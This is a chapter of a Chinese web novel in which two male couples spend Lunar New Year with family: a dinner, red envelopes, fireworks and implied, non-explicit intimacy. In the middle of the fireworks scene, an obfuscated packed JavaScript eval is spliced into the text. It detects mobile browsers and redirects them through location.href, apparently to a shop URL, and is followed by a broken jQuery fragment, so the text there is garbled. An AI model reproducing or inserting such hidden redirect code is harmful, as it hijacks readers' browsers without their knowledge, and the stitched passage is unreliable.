大年初一的早晨,陆知岩是被鞭炮声吵醒的。
不是那种小摔炮,是远处传来的、闷闷的、一阵一阵的轰鸣。有人在放开门炮。
他睁开眼,第一反应是低头看怀里的人。
鹿之言还在睡。
呼吸平稳,睫毛安静地覆着,靠在他胸口,像只倦懒的猫。
陆知岩没动。
他就这样躺着,听着窗外隐约的鞭炮声,看着鹿之言的睡颜。
看了很久。
手机震了。
【弟】:起了没?
【弟】:爸妈问你们什么时候到。
陆知岩单手回:
【哥】:刚醒,等会儿过去。
【弟】:好。
放下手机,他又看向鹿之言。
他的之言,睡着的时候最乖。
他忍不住凑过去,在他额头上亲了一下。
鹿之言动了动,没醒。
又亲一下。
这次鹿之言睁开眼。
眼神还有点涣散,茫然地看着他。过了几秒,焦距慢慢聚拢。
“……几点了?”
“八点。”陆知岩说,“还早,再睡会儿。”
鹿之言看着他。
“你亲我干嘛?”
“大年初一。”陆知岩理直气壮,“第一下亲,要留给最重要的人。”
鹿之言沉默了两秒。
“幼稚。”
但他没躲,反而往他怀里靠了靠。
陆知岩笑了,把他搂紧。
“之言,今天去爸妈那边吃饭。”
“嗯。”
“我爸做的红烧肉特别好吃。”
“嗯。”
“我妈说要给你包红包。”
鹿之言的睫毛动了动。
“不用——”
“要的。”陆知岩打断他,“她等这一天,等了四年。”
鹿之言愣住了。
他看着陆知岩。
陆知岩的眼睛里,有一种他从未见过的光。
“之言。”他说,“欢迎回家。”
鹿之言的喉结动了动。
过了很久。
“……嗯。”
上午十点,陆沉远家。
陆爸爸在厨房忙活,陆妈妈在旁边打下手。油烟味和肉香味混在一起,飘得满屋子都是。
陆沉远在客厅陪鹿炽坐着。鹿炽有点紧张,手一直攥着衣角。
“别紧张。”陆沉远小声说。
“我没紧张……”鹿炽小声反驳。
陆沉远看着他攥得发白的指节,没说话。
门铃响了。
陆沉远去开门。
陆知岩站在门口,身后是鹿之言。
鹿之言今天穿了件深灰色大衣,里面是黑色高领毛衣,头发打理得很整齐。他手里拎着两盒礼品,表情平静,但陆沉远看见他的耳尖微微泛红。
“哥。”陆沉远让开路,“进来吧。”
陆知岩先进去,鹿之言跟在他身后。
客厅里,陆爸爸从厨房探出头。
“来了?”
“爸。”陆知岩走过去,“新年好。”
陆爸爸点点头,目光落在他身后的鹿之言身上。
鹿之言顿了一下。
“叔叔好。”他说,“新年快乐。”
陆爸爸看着他。
看了几秒。
然后他笑了。
“好,好。”他走过来,拍拍鹿之言的肩,“进来坐,别客气。”
鹿之言愣了一下。
他以为……会有些尴尬,会有些审视的目光。
但没有。
陆爸爸的笑容很真诚,像等了他很久。
“之言来啦?”陆妈妈从厨房出来,手里还拿着锅铲,“快坐快坐!饿了吧?饭马上好!”
她走到鹿之言面前,拉住他的手。
“让阿姨看看。”
鹿之言站着没动。
陆妈妈看着他,眼眶有点红。
“瘦了。”她说,“比照片上瘦。”
鹿之言的喉结动了动。
“阿姨……”
“以后常来。”陆妈妈拍拍他的手,“阿姨给你做好吃的。”
鹿之言低下头。
过了很久。
“……好。”
陆知岩站在旁边,看着这一幕,眼眶也有点酸。
他走过去,搂住鹿之言的腰。
“妈,别吓着他。”
“我哪儿吓他了?”陆妈妈瞪他一眼,“我这是欢迎!”
陆知岩笑了。
“行行行,欢迎。”
鹿炽从沙发上站起来,走到哥哥身边。
“哥。”
鹿之言看着他。
鹿炽今天穿了件奶白色毛衣,头发软软的,眼睛亮亮的。看起来比平时精神很多。
“嗯。”鹿之言伸手,帮他理了理衣领,“吃饭了吗?”
“还没。”
“等会儿多吃点。”
鹿炽点头。
他看着哥哥,又看看陆知岩,再看看陆爸爸陆妈妈。
忽然觉得,这样真好。
年夜饭很丰盛。
红烧肉、糖醋排骨、清蒸鲈鱼、油焖大虾、炸春卷、四喜丸子,摆了满满一桌。还有饺子——陆妈妈包的,说是“元宝”,寓意财源广进。
陆爸爸开了一瓶茅台,给每个人倒了一杯——鹿炽和鹿之言的是饮料。
“来,”陆爸爸举起杯,“新的一年,大家都要好好的。”
“新年快乐!”
碰杯,喝。
鹿之言抿了一口饮料,余光瞥见陆知岩正盯着他看。
“看什么?”
“看你。”陆知岩说,“好看。”
鹿之言没理他。
但嘴角微微弯了一下。
鹿炽在旁边看着,小声对陆沉远说:“知岩哥又开始了。”
陆沉远点头。
“他一直这样。”
鹿炽想了想。
“我哥好像挺吃这套。”
陆沉远看了眼对面。
鹿之言正低头吃菜,陆知岩在旁边给他夹菜,一边夹一边说“这个好吃”“这个也好吃”。鹿之言没理他,但碗里的菜一直没少过。
陆沉远收回视线。
“是挺吃的。”
鹿炽笑了。
他低头继续吃,陆沉远也给他夹菜。
一家人,热热闹闹的。
吃完饭,陆妈妈端出水果和糖果。
“来来来,吃水果,吃糖。”
她走到鹿之言面前,从口袋里掏出一个红包。
“之言,新年快乐。”
鹿之言愣了一下。
“阿姨,这——”
“拿着。”陆妈妈把红包塞进他手里,“你第一次来家里过年,必须拿着。”
鹿之言看着手里的红包,一时不知道说什么。
陆知岩在旁边说:“拿着吧,我妈准备了很久。”
鹿之言的喉结动了动。
“……谢谢阿姨。”
陆妈妈笑了。
她又走到鹿炽面前,也拿出一个红包。
“小炽,新年快乐。”
鹿炽受宠若惊:“阿、阿姨,我也有?”
“当然有!”陆妈妈把红包塞给他,“你和之言都是好孩子,阿姨都喜欢。”
鹿炽眼眶酸了。
他低头看着手里的红包,用力点头。
“谢谢阿姨……”
陆沉远在旁边看着,心里软成一片。
晚上七点,天已经黑透了。
陆知岩提议去楼下放烟花。
“买了好几个大的,一直没放。”他说,“今晚正好。”
陆爸爸陆妈妈也下楼了,说要一起看。
楼下的空地上,陆知岩把烟花一个个摆开。
大的小的,圆筒的方盒的,堆了一地。
陆沉远帮他一起摆。鹿炽和鹿之言站在旁边,陆爸爸陆妈妈站在后面。
“先放哪个?”陆沉远问。
“那个最大的。”陆知岩指着最大的圆筒烟花,“开场要够劲。”
陆沉远点点头,把那个烟花搬到空地中央。
点燃引线,快步退回来。
“滋——”
引线燃尽。
“嘭!”
一颗光点冲天而起,在夜空中炸开。
金红色的火花散落,像一场金色的雨。
“哇——”鹿炽仰头看着,眼睛亮晶晶的。
第二颗,第三颗,第四颗。
红的,绿的,金的,紫的。
一朵接一朵,在夜空中绽放。
陆爸爸站在后面,看着烟花,又看看儿子们。
“长大了。”他说。
陆妈妈靠在他肩上,轻轻“嗯”了一声。
鹿之言也仰头看着。
他的侧脸被烟花的光映得明明灭灭,睫毛很长,在眼睑下投出淡淡的阴影。
陆知岩看着他。
“之言。”
“嗯。”
“好看吗?”
“好看。”
“我问的是你。”陆知岩说,“你好看。”
鹿之言转头看他。
烟花的余光里,陆知岩的眼睛很亮。
鹿之言看了他几秒。
“傻不傻。”
“不傻。”
鹿之言没说话。
但他伸手,握住了陆知岩的手。
另一边,陆沉远和鹿炽也在看烟花。
鹿炽靠在陆沉远肩上,眼睛看着天空。
“陆沉远。”
“嗯。”
“明年还这样放。”
“好。”
“后年也放。”
“好。”
“每年都放。”
陆沉远低头看他。
烟花的光映在他脸上,眼睛亮亮的。
“每年都放。”他说,“和你一起。”
鹿炽笑了。
他踮起脚,在陆沉远嘴角亲了一下。
陆沉远愣了一下,然后把他搂进怀里。
烟花在他们头顶绽放。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271931|198139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红的,绿的,金的,紫的。
每一朵都是新的开始。
晚上十点,陆爸爸陆妈妈先上楼休息了。
陆沉远和鹿炽也回了自己的房间。
客厅里只剩下陆知岩和鹿之言。
陆知岩坐在沙发上,鹿之言靠在他怀里。
电视里放着春晚重播,但谁也没看。
“之言。”陆知岩叫他。
“嗯。”
“今天开心吗?”
鹿之言想了想。
“……开心。”
陆知岩笑了。
“我也是。”
他低头,在他额头上亲了一下。
鹿之言的睫毛动了动。
“陆知岩。”
“嗯。”
“今晚……”他顿了顿。
陆知岩低头看他。
“今晚什么?”
鹿之言沉默了几秒。
然后他伸手,拉住陆知岩的衣领,把他拉近。
在他嘴角亲了一下。
陆知岩愣住了。
“之言你——”
“今晚。”鹿之言说,声音很轻,但很清晰,“我想和你在一起。”
陆知岩看着他。
鹿之言的耳尖红透了,眼睛却很亮。
陆知岩看了他很久。
然后他把他抱起来。
鹿之言惊了一下,手忙脚乱地搂住他的脖子。
“陆知岩!”
“嗯。”
“你——”
“回房间。”陆知岩说,“你想要的,都给你。”
鹿之言把脸埋进他肩窝。
没说话。
但嘴角弯了一下。
房间里没开灯,只有窗外的月光。
陆知岩把鹿之言放在床上,俯身看着他。
月光从窗帘缝隙漏进来,照在他脸上。鹿之言的睫毛很长,眼睛很亮,嘴唇微微抿着。
“之言。”陆知岩叫他。
“嗯。”
“你知道我等这一天等了多久吗?”
鹿之言看着他。
“四年。”他说。
“不。”陆知岩摇头,“从十六岁到现在,十四年。”
鹿之言愣住了。
陆知岩低头,吻住他。
这个吻很深,很长。
鹿之言闭上眼睛,手攀上他的肩。
“陆知岩。”他在接吻间隙叫他。
“嗯。”
“我爱你。”
陆知岩动作顿了一下。
他抬头看他。
月光下,鹿之言的眼睛很亮。
“再说一遍。”陆知岩说。
鹿之言的嘴角弯了一下。
“我爱你。”
陆知岩低头,把脸埋进他肩窝。
过了很久。
“……我也爱你。”
他的声音闷闷的,有一点哑。
鹿之言伸手,轻轻摸他的头发。
“傻子。”
“嗯,你的傻子。”
鹿之言笑了。
窗外的月光很温柔。
另一边的房间里,鹿炽也在主动。
他洗完澡出来,陆沉远正靠在床头看手机。
鹿炽走过去,爬上床,直接跨坐在他腿上。
陆沉远愣住了。
“鹿炽?”
“嗯。”鹿炽看着他,“今晚我想。”
陆沉远看着他。
鹿炽的头发还湿着,滴着水。他穿着他的睡衣——太大了,领口滑下去,露出半边锁骨。
陆沉远的喉结动了动。
“你想什么?”
鹿炽脸红了,但还是看着他。
“想你。”他说,“想你……那个我。”
陆沉远看着他。
看了很久。
然后他伸手,把他搂进怀里。
“鹿炽。”
“嗯。”
“你知道你在说什么吗?”
“知道。”鹿炽说,“我想和你在一起。”
他顿了顿。
“每天,每夜,每时每刻。”
陆沉远的心跳漏了一拍。
他低头,吻住他。
这个吻很深,很长。
鹿炽闭上眼睛,手抓着他的衣襟。
“陆沉远。”他叫他。
“嗯。”
“我爱你。”
陆沉远动作顿了一下。
然后他把他搂得更紧。
“……我也爱你。”
窗外月光如水。
这个夜晚很长。
但他们有一辈子。
凌晨两点,陆知岩还没睡。
他搂着鹿之言,看着他的睡颜。
他的之言,睡着的时候最乖。
睫毛安静地覆着,呼吸平稳,嘴角微微弯着,不知道在做什么好梦。
陆知岩低头,在他额头上亲了一下。
“新年快乐。”他轻声说。
鹿之言在睡梦中动了动,往他怀里靠了靠。
陆知岩笑了。